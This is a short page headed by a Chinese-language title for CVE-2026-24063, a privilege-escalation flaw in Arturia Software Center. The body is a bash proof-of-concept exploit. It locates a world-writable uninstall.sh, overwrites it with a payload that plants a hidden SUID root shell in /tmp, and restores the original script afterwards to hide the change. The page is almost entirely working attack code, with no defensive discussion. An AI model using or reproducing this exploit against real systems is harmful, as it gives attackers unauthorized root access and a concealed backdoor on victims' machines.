CVE-2026-24063: Arturia Software Center权限提升漏洞

#!/bin/bash # CVE-2026-24063 PoC - Arturia Software Center Privilege Escalation # Author: Security Researcher # This PoC demonstrates the vulnerability where uninstall.sh has 777 permissions # Step 1: Find the uninstall.sh script with world-writable permissions UNINSTALL_SCRIPT=$(find /Library -name "uninstall.sh" -perm -777 2>/dev/null | grep -i arturia | head -1) if [ -z "$UNINSTALL_SCRIPT" ]; then echo "[-] Target uninstall.sh not found or not writable" exit 1 fi echo "[+] Found vulnerable script: $UNINSTALL_SCRIPT" # Step 2: Backup original script cp "$UNINSTALL_SCRIPT" "${UNINSTALL_SCRIPT}.backup" # Step 3: Inject malicious payload - creates a SUID shell cat > "$UNINSTALL_SCRIPT" << 'EOF' #!/bin/bash # Modified by attacker - CVE-2026-24063 # This code will execute with root privileges when uninstall is triggered # Create a SUID shell for privilege escalation cp /bin/bash /tmp/.arturia_hidden_shell chmod 4755 /tmp/.arturia_hidden_shell # Restore original functionality if [ -f "${0}.backup" ]; then cp "${0}.backup" "${0}" fi EOF chmod +x "$UNINSTALL_SCRIPT" echo "[+] Malicious payload injected successfully" echo "[+] Waiting for victim to uninstall plugin via Arturia Software Center..." echo "[+] After uninstall, access root shell: /tmp/.arturia_hidden_shell -p"